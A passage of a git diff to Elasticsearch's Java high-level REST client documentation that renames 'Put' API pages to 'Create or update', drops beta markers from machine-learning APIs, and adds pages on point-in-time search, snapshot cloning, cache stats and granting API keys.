If it was not started, it returns an error message describing why. Acknowledgement messages may also be returned if this API was called without -the `acknowledge` flag set to `true`. In this case you need to display the +the `acknowledge` flag set to `true`. In this case you need to display the messages to the end user and if they agree, resubmit the request with the `acknowledge` flag set to `true`. Please note that the response will still return a 200 return code even if it requires an acknowledgement. So, it is diff --git a/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc index e05f4dd2be6a3..0516564b3c49b 100644 --- a/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/delete-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Delete {dfanalytics-jobs} API -beta::[] Delete an existing {dfanalytics-job}. The API accepts a +{request}+ object as a request and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/delete-trained-model-alias.asciidoc b/docs/java-rest/high-level/ml/delete-trained-model-alias.asciidoc index 34195d38241ac..dbd237e5c681c 100644 --- a/docs/java-rest/high-level/ml/delete-trained-model-alias.asciidoc +++ b/docs/java-rest/high-level/ml/delete-trained-model-alias.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Delete trained model alias API -beta::[] Deletes a trained model alias. The API accepts a +{request}+ object as a request and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/delete-trained-models.asciidoc b/docs/java-rest/high-level/ml/delete-trained-models.asciidoc index b6ae1a343c4b1..be741304f84b8 100644 --- a/docs/java-rest/high-level/ml/delete-trained-models.asciidoc +++ b/docs/java-rest/high-level/ml/delete-trained-models.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Delete trained models API -beta::[] Deletes a previously saved trained model. The API accepts a +{request}+ object and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc b/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc index 593ca4632def9..6c1985c5d49ef 100644 --- a/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc +++ b/docs/java-rest/high-level/ml/evaluate-data-frame.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Evaluate {dfanalytics} API -beta::[] Evaluates the {dfanalytics} for an annotated index. The API accepts an +{request}+ object and returns an +{response}+. diff --git a/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc index 6010fc084cfa2..8bd734ba94e0a 100644 --- a/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/explain-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Explain {dfanalytics} API -beta::[] Explains the following about a {dataframe-analytics-config}: diff --git a/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc b/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc index a57c7fe620e1e..1b75a3b2bca74 100644 --- a/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc +++ b/docs/java-rest/high-level/ml/get-data-frame-analytics-stats.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Get {dfanalytics-jobs} stats API -beta::[] Retrieves the operational statistics of one or more {dfanalytics-jobs}. The API accepts a +{request}+ object and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc index 8fff4bdffb181..70857e4c80855 100644 --- a/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/get-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Get {dfanalytics-jobs} API -beta::[] Retrieves one or more {dfanalytics-jobs}. The API accepts a +{request}+ object and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc b/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc index 3a90c30ca8346..2ee647976a531 100644 --- a/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc +++ b/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Get trained models stats API -beta::[] Retrieves one or more trained model statistics. The API accepts a +{request}+ object and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/get-trained-models.asciidoc b/docs/java-rest/high-level/ml/get-trained-models.asciidoc index 733ec43fc5de3..db2e6b0120da3 100644 --- a/docs/java-rest/high-level/ml/get-trained-models.asciidoc +++ b/docs/java-rest/high-level/ml/get-trained-models.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Get trained models API -beta::[] Retrieves one or more trained models. The API accepts a +{request}+ object and returns a +{response}+. diff --git a/docs/java-rest/high-level/ml/put-calendar-job.asciidoc b/docs/java-rest/high-level/ml/put-calendar-job.asciidoc index d13a4c5978559..3bb3f69344a1e 100644 --- a/docs/java-rest/high-level/ml/put-calendar-job.asciidoc +++ b/docs/java-rest/high-level/ml/put-calendar-job.asciidoc @@ -5,14 +5,14 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put {anomaly-jobs} in calendar API +=== Add {anomaly-jobs} to calendar API Adds {anomaly-jobs} jobs to an existing {ml} calendar. The API accepts a +{request}+ and responds with a +{response}+ object. [id="{upid}-{api}-request"] -==== Put {anomaly-jobs} in calendar request +==== Request A +{request}+ is constructed referencing a non-null calendar ID, and JobIDs to which to add to the calendar @@ -25,7 +25,7 @@ include-tagged::{doc-tests-file}[{api}-request] <2> The JobIds to add to the calendar [id="{upid}-{api}-response"] -==== Put {anomaly-jobs} in calendar response +==== Response The returned +{response}+ contains the updated calendar: diff --git a/docs/java-rest/high-level/ml/put-calendar.asciidoc b/docs/java-rest/high-level/ml/put-calendar.asciidoc index f37192ab634ef..15ad58552115d 100644 --- a/docs/java-rest/high-level/ml/put-calendar.asciidoc +++ b/docs/java-rest/high-level/ml/put-calendar.asciidoc @@ -5,14 +5,14 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put calendars API +=== Create calendars API Creates a new {ml} calendar. The API accepts a +{request}+ and responds with a +{response}+ object. [id="{upid}-{api}-request"] -==== Put calendars request +==== Request A +{request}+ is constructed with a calendar object @@ -24,7 +24,7 @@ include-tagged::{doc-tests-file}[{api}-request] [id="{upid}-{api}-response"] -==== Put calendars response +==== Response The returned +{response}+ contains the created calendar: diff --git a/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc index 30914d539ce7c..54296d3e2f696 100644 --- a/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc @@ -5,15 +5,14 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put {dfanalytics-jobs} API +=== Create {dfanalytics-jobs} API -beta::[] Creates a new {dfanalytics-job}. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put {dfanalytics-jobs} request +==== Request A +{request}+ requires the following argument: diff --git a/docs/java-rest/high-level/ml/put-datafeed.asciidoc b/docs/java-rest/high-level/ml/put-datafeed.asciidoc index a09ce1c784b77..3348bfa441c53 100644 --- a/docs/java-rest/high-level/ml/put-datafeed.asciidoc +++ b/docs/java-rest/high-level/ml/put-datafeed.asciidoc @@ -5,13 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put datafeeds API +=== Create datafeeds API Creates a new {ml} datafeed in the cluster. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put datafeeds request +==== Request A +{request}+ requires the following argument: @@ -93,7 +93,7 @@ include-tagged::{doc-tests-file}[{api}-config-set-scroll-size] -------------------------------------------------- include-tagged::{doc-tests-file}[{api}-config-set-runtime-mappings] -------------------------------------------------- -<1> Set the runtime mappings used in the searches. +<1> The runtime fields used in the datafeed. include::../execution.asciidoc[] diff --git a/docs/java-rest/high-level/ml/put-filter.asciidoc b/docs/java-rest/high-level/ml/put-filter.asciidoc index f6de5e0701137..1a8328e6930b9 100644 --- a/docs/java-rest/high-level/ml/put-filter.asciidoc +++ b/docs/java-rest/high-level/ml/put-filter.asciidoc @@ -5,13 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put filters API +=== Create filters API Creates a new {ml} filter in the cluster. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put filters request +==== Request A +{request}+ requires the following argument: diff --git a/docs/java-rest/high-level/ml/put-job.asciidoc b/docs/java-rest/high-level/ml/put-job.asciidoc index add7fcdc6e5ab..ee0e0995911f6 100644 --- a/docs/java-rest/high-level/ml/put-job.asciidoc +++ b/docs/java-rest/high-level/ml/put-job.asciidoc @@ -5,13 +5,13 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put {anomaly-jobs} API +=== Create {anomaly-jobs} API Creates a new {anomaly-job} in the cluster. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put {anomaly-jobs} request +==== Request A +{request}+ requires the following argument: diff --git a/docs/java-rest/high-level/ml/put-trained-model-alias.asciidoc b/docs/java-rest/high-level/ml/put-trained-model-alias.asciidoc index be2c913d5562b..cb4e4e4401251 100644 --- a/docs/java-rest/high-level/ml/put-trained-model-alias.asciidoc +++ b/docs/java-rest/high-level/ml/put-trained-model-alias.asciidoc @@ -5,9 +5,8 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put trained model alias API +=== Create or update trained model alias API -beta::[] Creates or reassigns a trained model alias. The API accepts a +{request}+ object as a request and returns a +{response}+. @@ -15,7 +14,7 @@ The created trained model alias can then be used for other APIs in the stack instead of the referenced model id. [id="{upid}-{api}-request"] -==== Put trained model alias request +==== Request A +{request}+ requires the following arguments: diff --git a/docs/java-rest/high-level/ml/put-trained-model.asciidoc b/docs/java-rest/high-level/ml/put-trained-model.asciidoc index ba40a94a59bcd..b28ae7be50284 100644 --- a/docs/java-rest/high-level/ml/put-trained-model.asciidoc +++ b/docs/java-rest/high-level/ml/put-trained-model.asciidoc @@ -5,15 +5,14 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put trained models API +=== Create trained models API -beta::[] Creates a new trained model for inference. The API accepts a +{request}+ object as a request and returns a +{response}+. [id="{upid}-{api}-request"] -==== Put trained models request +==== Request A +{request}+ requires the following argument: diff --git a/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc index 47b178f665997..1c97b52c52c71 100644 --- a/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/start-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Start {dfanalytics-jobs} API -beta::[] Starts an existing {dfanalytics-job}. It accepts a +{request}+ object and responds with a +{response}+ object. diff --git a/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc index d09ea566839e3..069244a14172a 100644 --- a/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/stop-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Stop {dfanalytics-jobs} API -beta::[] Stops a running {dfanalytics-job}. It accepts a +{request}+ object and responds with a +{response}+ object. diff --git a/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc index e6b78f6e1bac1..3d20ec38552f8 100644 --- a/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc +++ b/docs/java-rest/high-level/ml/update-data-frame-analytics.asciidoc @@ -7,7 +7,6 @@ [id="{upid}-{api}"] === Update {dfanalytics-jobs} API -beta::[] Updates an existing {dfanalytics-job}. The API accepts an +{request}+ object as a request and returns an +{response}+. diff --git a/docs/java-rest/high-level/ml/update-datafeed.asciidoc b/docs/java-rest/high-level/ml/update-datafeed.asciidoc index b76c009f9cbf2..f72b78f62969d 100644 --- a/docs/java-rest/high-level/ml/update-datafeed.asciidoc +++ b/docs/java-rest/high-level/ml/update-datafeed.asciidoc @@ -43,6 +43,7 @@ datafeed runs in real time. <7> Optional, the time interval behind real time that data is queried. <8> Optional, allows the use of script fields. <9> Optional, the `size` parameter used in the searches. +<10> Optional, the runtime fields used in the datafeed. include::../execution.asciidoc[] diff --git a/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc b/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc index f4c9240f78104..681ea25a18f88 100644 --- a/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc +++ b/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc @@ -40,7 +40,7 @@ include-tagged::{doc-tests-file}[x-pack-{api}-execute] The returned +{response}+ holds lists and maps of values which correspond to the capabilities of the target index/index pattern (what jobs were configured for the pattern, where the data is stored, what -aggregations are available, etc). It provides essentially the same data as the original job configuration, +aggregations are available, etc). It provides essentially the same data as the original job configuration, just presented in a different manner. For example, if we had created a job with the following config: diff --git a/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc b/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc index 2e08409d1e2fa..06d546fb3c583 100644 --- a/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc +++ b/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc @@ -10,7 +10,7 @@ experimental::[] The Get Rollup Index Capabilities API allows the user to determine if a concrete index or index pattern contains -stored rollup jobs and data. If it contains data stored from rollup jobs, the capabilities of those jobs +stored rollup jobs and data. If it contains data stored from rollup jobs, the capabilities of those jobs are returned. The API accepts a `GetRollupIndexCapsRequest` object as a request and returns a `GetRollupIndexCapsResponse`. [id="{upid}-x-pack-{api}-request"] @@ -40,7 +40,7 @@ include-tagged::{doc-tests-file}[x-pack-{api}-execute] The returned +{response}+ holds lists and maps of values which correspond to the capabilities of the rollup index/index pattern (what jobs are stored in the index, their capabilities, what -aggregations are available, etc). Because multiple jobs can be stored in one index, the +aggregations are available, etc). Because multiple jobs can be stored in one index, the response may include several jobs with different configurations. The capabilities are essentially the same as the original job configuration, just presented in a different diff --git a/docs/java-rest/high-level/rollup/put_job.asciidoc b/docs/java-rest/high-level/rollup/put_job.asciidoc index b43f257937c11..74884aa1ecf42 100644 --- a/docs/java-rest/high-level/rollup/put_job.asciidoc +++ b/docs/java-rest/high-level/rollup/put_job.asciidoc @@ -1,15 +1,15 @@ [role="xpack"] [[java-rest-high-x-pack-rollup-put-job]] -=== Put Rollup Job API +=== Create or update rollup job API experimental::[] -The Put Rollup Job API can be used to create a new Rollup job -in the cluster. The API accepts a `PutRollupJobRequest` object +Creates a new Rollup job or updates an existing one. +The API accepts a `PutRollupJobRequest` object as a request and returns a `PutRollupJobResponse`. [[java-rest-high-x-pack-rollup-put-rollup-job-request]] -==== Put Rollup Job Request +==== Request A `PutRollupJobRequest` requires the following argument: @@ -126,7 +126,7 @@ include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup- [[java-rest-high-x-pack-rollup-put-rollup-job-execution]] ==== Execution -The Put Rollup Job API can be executed through a `RollupClient` +The API can be called through a `RollupClient` instance. Such instance can be retrieved from a `RestHighLevelClient` using the `rollup()` method: diff --git a/docs/java-rest/high-level/script/delete_script.asciidoc b/docs/java-rest/high-level/script/delete_script.asciidoc index 79b3b0b324715..fe146ece579f1 100644 --- a/docs/java-rest/high-level/script/delete_script.asciidoc +++ b/docs/java-rest/high-level/script/delete_script.asciidoc @@ -58,7 +58,7 @@ completed the `ActionListener` is called back using the `onResponse` method if the execution successfully completed or using the `onFailure` method if it failed. -A typical listener for `DeleteStoredScriptResponse` looks like: +A typical listener for `AcknowledgedResponse` looks like: ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -71,11 +71,11 @@ provided as an argument [[java-rest-high-delete-stored-script-response]] ==== Delete Stored Script Response -The returned `DeleteStoredScriptResponse` allows to retrieve information about the +The returned `AcknowledgedResponse` allows to retrieve information about the executed operation as follows: ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-response] -------------------------------------------------- -<1> Indicates whether all of the nodes have acknowledged the request \ No newline at end of file +<1> Indicates whether all of the nodes have acknowledged the request diff --git a/docs/java-rest/high-level/script/put_script.asciidoc b/docs/java-rest/high-level/script/put_script.asciidoc index acc80e82d11e6..e3c54e3cad2c8 100644 --- a/docs/java-rest/high-level/script/put_script.asciidoc +++ b/docs/java-rest/high-level/script/put_script.asciidoc @@ -1,8 +1,8 @@ [[java-rest-high-put-stored-script]] -=== Put Stored Script API +=== Create or update stored script API [[java-rest-high-put-stored-script-request]] -==== Put Stored Script Request +==== Request A `PutStoredScriptRequest` requires an `id` and `content`: @@ -65,8 +65,9 @@ include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[put-stored-script- [[java-rest-high-put-stored-script-async]] ==== Asynchronous Execution -The asynchronous execution of a put stored script request requires both the `PutStoredScriptRequest` -instance and an `ActionListener` instance to be passed to the asynchronous method: +The asynchronous execution of a create or update stored script request requires +both the `PutStoredScriptRequest` instance and an `ActionListener` instance to +be passed to the asynchronous method: ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -94,7 +95,7 @@ provided as an argument <2> Called in case of failure. The raised exception is provided as an argument [[java-rest-high-put-stored-script-response]] -==== Put Stored Script Response +==== Response The returned `AcknowledgedResponse` allows to retrieve information about the executed operation as follows: diff --git a/docs/java-rest/high-level/search/point-in-time.asciidoc b/docs/java-rest/high-level/search/point-in-time.asciidoc new file mode 100644 index 0000000000000..2663d162e1fee --- /dev/null +++ b/docs/java-rest/high-level/search/point-in-time.asciidoc @@ -0,0 +1,78 @@ +[[java-rest-high-search-point-in-time]] + +=== Open a point in time + +A point in time must be opened before being used in search requests. +An OpenPointInTimeRequest requires an `index` and `keepAlive` arguments: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[open-point-in-time] +-------------------------------------------------- +<1> Create an `OpenPointInTimeRequest` with the target indices +<2> Set the `keep_alive` - a required parameter, which tells +Elasticsearch how long it should keep a point in time around. +<3> Read the returned point in time id, which points to the search context that's +being kept alive and will be used in the search requests. + +==== Optional arguments +The following arguments can optionally be provided: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[open-point-in-time-indices-option] +-------------------------------------------------- +<1> Setting `IndicesOptions` controls how unavailable indices are resolved and +how wildcard expressions are expanded + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[open-point-in-time-routing] +-------------------------------------------------- +<1> Set a routing parameter + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[open-point-in-time-preference] +-------------------------------------------------- +<1> Use the preference parameter e.g. to execute the search to prefer local +shards. The default is to randomize across shards. + +=== Search with point in time +A point in time can be passed to a search request via a PointInTimeBuilder, +which requires a point in time ID returned from the open API. + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[search-point-in-time] +-------------------------------------------------- +<1> Create a PointInTimeBuilder with a PIT id +<2> (Optional) Set the keep alive of a point in time +<3> Pass a point in time to a search request + +A search request with a point in time does not accept these parameters: +`indices`, `indicesOptions` `routing`, `preference`, and `ccsMinimizeRoundtrips`. + +==== Paginate search results with point in time +A point in time can be used in search after requests to paginate search results. + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[search-after-with-point-in-time] +-------------------------------------------------- +<1> Open a point in time that will be used in multiple search_after requests +<2> Create a search request with the sort parameter +<3> Set the search_after parameter using the sort values from the previous page +<4> Pass a point in time to a search request +<5> Close the point in time + +=== Close point in time + +Point in time should be closed as soon as they are no longer used in search requests. +A ClosePointInTime request requires a point in time id argument: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SearchDocumentationIT.java[close-point-in-time] +-------------------------------------------------- +<1> Create a close point in time request with a PIT id diff --git a/docs/java-rest/high-level/searchable_snapshots/caches_stats.asciidoc b/docs/java-rest/high-level/searchable_snapshots/caches_stats.asciidoc new file mode 100644 index 0000000000000..a0d99107b8dc9 --- /dev/null +++ b/docs/java-rest/high-level/searchable_snapshots/caches_stats.asciidoc @@ -0,0 +1,34 @@ +-- +:api: searchable-snapshots-caches-stats +:request: CachesStatsRequest +:response: CachesStatsResponse +-- +[role="xpack"] +[id="{upid}-{api}"] +=== Cache Stats API + +[id="{upid}-{api}-request"] +==== Request + +Retrieves statistics about the shared cache for +{ref}/searchable-snapshots.html#partially-mounted[partially mounted indices]. + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-request] +-------------------------------------------------- +<1> Example of a request targeting all data nodes. +<2> Example of a request targeting two specific nodes. + +[id="{upid}-{api}-response"] +==== Response + +The returned +{response}+ provides the following statistics: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-response] +-------------------------------------------------- +<1> The list of cache statistics for all nodes involved in the request. + +include::../execution.asciidoc[] diff --git a/docs/java-rest/high-level/security/grant-api-key.asciidoc b/docs/java-rest/high-level/security/grant-api-key.asciidoc new file mode 100644 index 0000000000000..bb65b27d4297c --- /dev/null +++ b/docs/java-rest/high-level/security/grant-api-key.asciidoc @@ -0,0 +1,44 @@ +-- +:api: grant-api-key +:request: GrantApiKeyRequest +:response: CreateApiKeyResponse +-- +[role="xpack"] +[id="{upid}-{api}"] +=== Grant API key API + +Creates an API key on behalf of another user. + +[id="{upid}-{api}-request"] +==== Grant API key request + +This API is similar to <>, however it +creates the API key for a user that is different than the user that runs the API. + +A +{request}+ contains authentication credentials for the user on whose behalf +the API key will be created, a grant type (which indicates whether the +credentials are an access token or a user ID and password), and API key details. +The API key details include a name for the API key, an optional list of role +descriptors to define permissions, and an optional expiration for the +generated API key. If expiration is not provided, by default the API keys do not +expire. + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-request] +-------------------------------------------------- + +include::../execution.asciidoc[] + +[id="{upid}-{api}-response"] +==== Grant API key response + +The returned +{response}+ contains an ID, API key, name for the API key, and +optional expiration. + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests-file}[{api}-response] +-------------------------------------------------- +<1> The API key that can be used to authenticate to Elasticsearch. +<2> Expiration details, if the API keys expire. diff --git a/docs/java-rest/high-level/security/has-privileges.asciidoc b/docs/java-rest/high-level/security/has-privileges.asciidoc index 7c5f09a171ced..dfd92be6837fc 100644 --- a/docs/java-rest/high-level/security/has-privileges.asciidoc +++ b/docs/java-rest/high-level/security/has-privileges.asciidoc @@ -62,7 +62,7 @@ if the privilege was not part of the request). A `Map>>>` where each key is the name of an application (as specified in the +{request}+). For each application, the value is a `Map` keyed by resource name, with -each value being another `Map` from privilege name to a `Boolean`. +each value being another `Map` from privilege name to a `Boolean`. The `Boolean` value is `true` if the user has that privilege on that resource for that application, and `false` otherwise. + diff --git a/docs/java-rest/high-level/security/put-privileges.asciidoc b/docs/java-rest/high-level/security/put-privileges.asciidoc index ba8d8878e1576..72e28e6988325 100644 --- a/docs/java-rest/high-level/security/put-privileges.asciidoc +++ b/docs/java-rest/high-level/security/put-privileges.asciidoc @@ -5,12 +5,12 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put Privileges API +=== Create or update privileges API Application privileges can be created or updated using this API. [id="{upid}-{api}-request"] -==== Put Privileges Request +==== Request A +{request}+ contains list of application privileges that need to be created or updated. Each application privilege consists of an application name, application privilege, @@ -24,7 +24,7 @@ include-tagged::{doc-tests-file}[{api}-request] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Privileges Response +==== Response The returned +{response}+ contains the information about the status for each privilege present in the +{request}+. The status would be diff --git a/docs/java-rest/high-level/security/put-role-mapping.asciidoc b/docs/java-rest/high-level/security/put-role-mapping.asciidoc index 819aa776b68ba..53e5a6ceaabdb 100644 --- a/docs/java-rest/high-level/security/put-role-mapping.asciidoc +++ b/docs/java-rest/high-level/security/put-role-mapping.asciidoc @@ -1,6 +1,6 @@ [role="xpack"] [[java-rest-high-security-put-role-mapping]] -=== Put Role Mapping API +=== Create or update role mapping API [[java-rest-high-security-put-role-mapping-execution]] ==== Execution diff --git a/docs/java-rest/high-level/security/put-role.asciidoc b/docs/java-rest/high-level/security/put-role.asciidoc index d418375237d47..41b5b9efd5b94 100644 --- a/docs/java-rest/high-level/security/put-role.asciidoc +++ b/docs/java-rest/high-level/security/put-role.asciidoc @@ -6,15 +6,15 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put Role API +=== Create or update role API [id="{upid}-{api}-request"] -==== Put Role Request +==== Request The +{request}+ class is used to create or update a role in the Native Roles Store. The request contains a single role, which encapsulates privileges over resources. A role can be assigned to an user using the -<<{upid}-put-role-mapping, Put Role Mapping API>>. +<<{upid}-put-role-mapping,Create or update role mapping API>>. ["source","java",subs="attributes,callouts,macros"] -------------------------------------------------- @@ -24,7 +24,7 @@ include-tagged::{doc-tests-file}[{api}-request] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put Role Response +==== Response The returned +{response}+ contains a single field, `created`. This field serves as an indication if the role was created or if an existing entry was diff --git a/docs/java-rest/high-level/security/put-user.asciidoc b/docs/java-rest/high-level/security/put-user.asciidoc index 6d222cb06737c..0af1d753c26ca 100644 --- a/docs/java-rest/high-level/security/put-user.asciidoc +++ b/docs/java-rest/high-level/security/put-user.asciidoc @@ -5,10 +5,10 @@ -- [role="xpack"] [id="{upid}-{api}"] -=== Put User API +=== Create or update user API [id="{upid}-{api}-request"] -==== Put User Request +==== Request The +{request}+ class is used to create or update a user in the Native Realm. There are 3 different factory methods for creating a request. @@ -46,7 +46,7 @@ include-tagged::{doc-tests-file}[{api}-update-request] include::../execution.asciidoc[] [id="{upid}-{api}-response"] -==== Put User Response +==== Response The returned `PutUserResponse` contains a single field, `created`. This field serves as an indication if a user was created or if an existing entry was updated. diff --git a/docs/java-rest/high-level/snapshot/clone_snapshot.asciidoc b/docs/java-rest/high-level/snapshot/clone_snapshot.asciidoc new file mode 100644 index 0000000000000..311f77ee95ff6 --- /dev/null +++ b/docs/java-rest/high-level/snapshot/clone_snapshot.asciidoc @@ -0,0 +1,95 @@ +[[java-rest-high-snapshot-clone-snapshot]] +=== Clone Snapshot API + +The Clone Snapshot API clones part or all of a snapshot into a new snapshot. + +[[java-rest-high-snapshot-clone-snapshot-request]] +==== Request + +A `CloneSnapshotRequest`: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-request] +-------------------------------------------------- + +==== Indices to Clone + +Use `indices` to specify a list of indices from the source snapshot to include +in the snapshot clone: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-request-indices] +-------------------------------------------------- +<1> Include only `test_index` from the source snapshot. + +==== Index Settings and Options + +You can also customize index settings and options when cloning a snapshot: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-request-index-settings] +-------------------------------------------------- +<1> Set `IndicesOptions.Option.IGNORE_UNAVAILABLE` in `#indicesOptions()` to + have the clone succeed even if indices are missing in the source snapshot. + +==== Further Arguments + +You can also provide the following optional arguments: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-request-masterTimeout] +-------------------------------------------------- +<1> Timeout to connect to the master node as a `TimeValue` +<2> Timeout to connect to the master node as a `String` + +[[java-rest-high-snapshot-clone-snapshot-sync]] +==== Synchronous Execution + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-execute] +-------------------------------------------------- + +[[java-rest-high-snapshot-clone-snapshot-async]] +==== Asynchronous Execution + +The asynchronous execution of a clone snapshot request requires both the +`CloneSnapshotRequest` instance and an `ActionListener` instance to be +passed to the asynchronous method: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-execute-async] +-------------------------------------------------- +<1> The `CloneSnapshotRequest` to execute and the `ActionListener` +to use when the execution completes + +The asynchronous method does not block and returns immediately. Once it is +completed the `ActionListener` is called back using the `onResponse` method +if the execution successfully completed or using the `onFailure` method if +it failed. + +A typical listener for `AcknowledgedResponse` looks like: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-execute-listener] +-------------------------------------------------- +<1> Called when the execution is successfully completed. The response is + provided as an argument. +<2> Called in case of a failure. The raised exception is provided as an argument. + +[[java-rest-high-cluster-clone-snapshot-response]] +==== Response + +`AcknowledgedResponse` indicates whether the request was received: + +["source","java",subs="attributes,callouts,macros"] +-------------------------------------------------- +include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[clone-snapshot-response] +-------------------------------------------------- +<1> A boolean value of `true` if the clone successfully completed. Otherwise, the value 